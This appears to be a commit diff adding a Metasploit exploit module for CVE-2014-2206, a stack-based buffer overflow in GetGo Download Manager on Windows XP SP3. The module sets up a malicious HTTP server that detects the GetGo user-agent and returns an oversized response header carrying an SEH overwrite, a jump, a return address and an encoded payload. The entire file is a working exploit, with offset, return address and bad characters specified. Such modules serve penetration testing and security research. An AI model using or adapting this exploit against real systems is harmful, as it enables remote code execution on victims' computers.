|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = NormalRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::Seh |
| 12 | + include Msf::Exploit::Remote::HttpServer |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'GetGo Download Manager HTTP Response Buffer Overflow', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a stack-based buffer overflow vulnerability in |
| 19 | + GetGo Download Manager version 4.9.0.1982 and earlier, caused by an |
| 20 | + overly long HTTP response header. |
| 21 | + By persuading the victim to download a file from a malicious server, a |
| 22 | + remote attacker could execute arbitrary code on the system or cause |
| 23 | + the application to crash. This module has been tested successfully on |
| 24 | + Windows XP SP3. |
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'Julien Ahrens', # Vulnerability discovery |
| 30 | + 'Gabor Seljan' # Metasploit module |
| 31 | + ], |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + [ 'EDB', '32132' ], |
| 35 | + [ 'OSVDB', '103910' ], |
| 36 | + [ 'CVE', '2014-2206' ], |
| 37 | + ], |
| 38 | + 'DefaultOptions' => |
| 39 | + { |
| 40 | + 'ExitFunction' => 'process', |
| 41 | + 'URIPATH' => "/shakeitoff.mp3" |
| 42 | + }, |
| 43 | + 'Platform' => 'win', |
| 44 | + 'Payload' => |
| 45 | + { |
| 46 | + 'BadChars' => "\x00\x0a\x0d", |
| 47 | + 'Space' => 2000 |
| 48 | + }, |
| 49 | + 'Targets' => |
| 50 | + [ |
| 51 | + [ 'Windows XP SP3', |
| 52 | + { |
| 53 | + 'Offset' => 4107, |
| 54 | + 'Ret' => 0x00280b0b # CALL DWORD PTR SS:[EBP+30] |
| 55 | + } |
| 56 | + ] |
| 57 | + ], |
| 58 | + 'Privileged' => false, |
| 59 | + 'DisclosureDate' => 'Mar 09 2014', |
| 60 | + 'DefaultTarget' => 0)) |
| 61 | + end |
| 62 | + |
| 63 | + # |
| 64 | + # Handle the HTTP request and return a response. |
| 65 | + # Code borrowed from: msf/core/exploit/http/server.rb |
| 66 | + # |
| 67 | + def start_http(opts={}) |
| 68 | + # Ensture all dependencies are present before initializing HTTP |
| 69 | + use_zlib |
| 70 | + |
| 71 | + comm = datastore['ListenerComm'] |
| 72 | + if (comm.to_s == "local") |
| 73 | + comm = ::Rex::Socket::Comm::Local |
| 74 | + else |
| 75 | + comm = nil |
| 76 | + end |
| 77 | + |
| 78 | + # Default the server host / port |
| 79 | + opts = { |
| 80 | + 'ServerHost' => datastore['SRVHOST'], |
| 81 | + 'ServerPort' => datastore['HTTPPORT'], |
| 82 | + 'Comm' => comm |
| 83 | + }.update(opts) |
| 84 | + |
| 85 | + # Start a new HTTP server |
| 86 | + @http_service = Rex::ServiceManager.start( |
| 87 | + Rex::Proto::Http::Server, |
| 88 | + opts['ServerPort'].to_i, |
| 89 | + opts['ServerHost'], |
| 90 | + datastore['SSL'], |
| 91 | + { |
| 92 | + 'Msf' => framework, |
| 93 | + 'MsfExploit' => self |
| 94 | + }, |
| 95 | + opts['Comm'], |
| 96 | + datastore['SSLCert'] |
| 97 | + ) |
| 98 | + |
| 99 | + @http_service.server_name = datastore['HTTP::server_name'] |
| 100 | + |
| 101 | + # Default the procedure of the URI to on_request_uri if one isn't |
| 102 | + # provided. |
| 103 | + uopts = { |
| 104 | + 'Proc' => Proc.new { |cli, req| |
| 105 | + on_request_uri(cli, req) |
| 106 | + }, |
| 107 | + 'Path' => resource_uri |
| 108 | + }.update(opts['Uri'] || {}) |
| 109 | + |
| 110 | + proto = (datastore["SSL"] ? "https" : "http") |
| 111 | + print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") |
| 112 | + |
| 113 | + if (opts['ServerHost'] == '0.0.0.0') |
| 114 | + print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") |
| 115 | + end |
| 116 | + |
| 117 | + # Add path to resource |
| 118 | + @service_path = uopts['Path'] |
| 119 | + @http_service.add_resource(uopts['Path'], uopts) |
| 120 | + |
| 121 | + # As long as we have the http_service object, we will keep the server alive |
| 122 | + while @http_service |
| 123 | + select(nil, nil, nil, 1) |
| 124 | + end |
| 125 | + end |
| 126 | + |
| 127 | + |
| 128 | + # |
| 129 | + # Kill HTTP/FTP (shut them down and clear resources) |
| 130 | + # |
| 131 | + def cleanup |
| 132 | + super |
| 133 | + stop_service |
| 134 | + |
| 135 | + begin |
| 136 | + @http_service.remove_resource(datastore['URIPATH']) |
| 137 | + @http_service.deref |
| 138 | + @http_service.stop |
| 139 | + @http_service.close |
| 140 | + @http_service = nil |
| 141 | + rescue |
| 142 | + end |
| 143 | + end |
| 144 | + |
| 145 | + |
| 146 | + def on_request_uri(cli, request) |
| 147 | + |
| 148 | + print_status("Client connected...") |
| 149 | + |
| 150 | + unless request['User-Agent'] =~ /GetGo Download Manager 4.0/ |
| 151 | + print_error("Sending 404 for unknown user-agent") |
| 152 | + send_not_found(cli) |
| 153 | + return |
| 154 | + end |
| 155 | + |
| 156 | + sploit = rand_text_alpha(target['Offset']) |
| 157 | + sploit << "\x90\x90\xEB\x06" |
| 158 | + sploit << [target.ret].pack('V') |
| 159 | + sploit << payload.encoded |
| 160 | + |
| 161 | + print_status("Sending #{sploit.length} bytes to port #{cli.peerport}...") |
| 162 | + |
| 163 | + resp = create_response(200, sploit) |
| 164 | + resp.body = "" |
| 165 | + cli.send_response(resp) |
| 166 | + |
| 167 | + close_client(cli) |
| 168 | + |
| 169 | + end |
| 170 | +end |
0 commit comments